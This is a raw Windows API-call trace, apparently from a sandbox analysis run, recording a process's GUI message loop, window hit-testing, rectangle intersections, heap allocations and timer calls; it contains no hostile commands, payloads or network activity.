[0257.363] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0257.363] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0257.363] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0257.363] GetCurrentThreadId () returned 0x4e0
[0257.363] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0257.674] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0257.674] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0257.674] GetCapture () returned 0x0
[0257.674] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0257.675] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0257.675] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0257.675] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0257.675] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0257.675] GetCurrentThreadId () returned 0x4e0
[0257.675] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0257.986] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0257.986] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0257.986] GetCapture () returned 0x0
[0257.987] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0257.987] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0257.987] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0257.987] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0257.987] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0257.987] GetCurrentThreadId () returned 0x4e0
[0257.987] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0258.299] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0258.299] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0258.299] GetCapture () returned 0x0
[0258.299] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0258.299] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0258.299] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0258.299] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0258.299] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0258.299] GetCurrentThreadId () returned 0x4e0
[0258.299] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0258.610] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0258.610] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0258.610] GetCapture () returned 0x0
[0258.610] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0258.610] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0258.610] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0258.610] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0258.611] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0258.611] GetCurrentThreadId () returned 0x4e0
[0258.611] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0258.922] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0258.923] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0258.923] GetCapture () returned 0x0
[0258.923] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0258.923] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0258.923] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0258.923] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0258.923] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0258.923] GetCurrentThreadId () returned 0x4e0
[0258.923] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0259.234] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0259.234] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0259.234] GetCapture () returned 0x0
[0259.234] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0259.234] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0259.235] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0259.235] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0259.235] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0259.235] GetCurrentThreadId () returned 0x4e0
[0259.235] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0259.551] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0259.551] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0259.551] GetCapture () returned 0x0
[0259.551] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0259.551] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0259.551] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0259.551] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0259.551] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0259.551] GetCurrentThreadId () returned 0x4e0
[0259.552] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0259.858] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0259.858] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0259.858] GetCapture () returned 0x0
[0259.858] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0259.858] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0259.859] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0259.859] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0259.859] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0259.859] GetCurrentThreadId () returned 0x4e0
[0259.859] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0260.170] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0260.170] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0260.170] GetCapture () returned 0x0
[0260.170] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0260.170] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0260.170] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0260.170] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0260.171] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0260.171] GetCurrentThreadId () returned 0x4e0
[0260.171] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0260.482] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0260.482] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0260.482] GetCapture () returned 0x0
[0260.482] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0260.483] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0260.483] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0260.483] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0260.483] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0260.483] GetCurrentThreadId () returned 0x4e0
[0260.483] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0260.794] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0260.794] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0260.794] GetCapture () returned 0x0
[0260.795] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0260.795] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0260.795] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0260.795] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0260.795] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0260.795] GetCurrentThreadId () returned 0x4e0
[0260.795] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0261.106] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0261.106] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0261.106] GetCapture () returned 0x0
[0261.106] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0261.106] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0261.106] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0261.107] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0261.107] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0261.107] GetCurrentThreadId () returned 0x4e0
[0261.107] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0261.418] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0261.418] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0261.418] GetCapture () returned 0x0
[0261.418] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0261.418] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0261.418] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0261.418] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0261.418] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0261.418] GetCurrentThreadId () returned 0x4e0
[0261.419] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0261.730] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0261.730] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0261.730] GetCapture () returned 0x0
[0261.730] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0261.730] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0261.730] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0261.731] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0261.731] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0261.731] GetCurrentThreadId () returned 0x4e0
[0261.731] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0262.042] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0262.042] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0262.042] GetCapture () returned 0x0
[0262.042] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0262.042] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.042] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0262.042] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0262.042] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0262.042] GetCurrentThreadId () returned 0x4e0
[0262.042] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0262.107] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.107] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0262.107] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0262.107] PtInRect (lprc=0x1cf5d0, pt=0x8e) returned 1
[0262.107] GetCurrentThreadId () returned 0x4e0
[0262.107] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.107] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0262.108] GetMessageTime () returned 185500
[0262.108] GetMessagePos () returned 0x22e03ab
[0262.108] GetCapture () returned 0x0
[0262.108] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0262.108] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.108] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0262.108] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0262.108] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0262.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0262.109] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0262.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0262.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0262.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0262.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0262.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0262.110] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0262.110] PtInRect (lprc=0x1cde84, pt=0x32fa) returned 1
[0262.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0262.110] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0262.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0262.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0262.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0262.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.110] PtInRect (lprc=0x1cf24c, pt=0x32fa) returned 1
[0262.111] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0262.111] GetCursor () returned 0x10003
[0262.111] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0262.111] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0262.111] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0262.111] GetMessageTime () returned 185563
[0262.111] GetMessagePos () returned 0x10b00c8
[0262.111] GetCapture () returned 0x0
[0262.111] GetCurrentThreadId () returned 0x4e0
[0262.111] GetCurrentThreadId () returned 0x4e0
[0262.111] GetCurrentThreadId () returned 0x4e0
[0262.111] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0262.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.111] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0262.111] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0262.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.111] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0262.111] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0262.111] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0262.112] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0262.112] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0262.112] PtInRect (lprc=0x1cdf0c, pt=0x32fa) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0262.112] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0262.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0262.113] GetMessageTime () returned 185563
[0262.113] GetMessagePos () returned 0x10b00c8
[0262.113] KillTimer (hWnd=0x10136, uIDEvent=0x2009) returned 1
[0262.113] GetCapture () returned 0x0
[0262.113] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0262.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0262.113] GetCurrentThreadId () returned 0x4e0
[0262.113] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0262.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0262.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0262.114] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0262.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0262.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0262.114] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0262.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0262.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0262.114] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0xbb008e, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0262.114] NtdllDefWindowProc_W () returned 0x0
[0262.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0262.114] SetTimer (hWnd=0x10136, nIDEvent=0x200a, uElapse=0x12c, lpTimerFunc=0x0) returned 0x200a
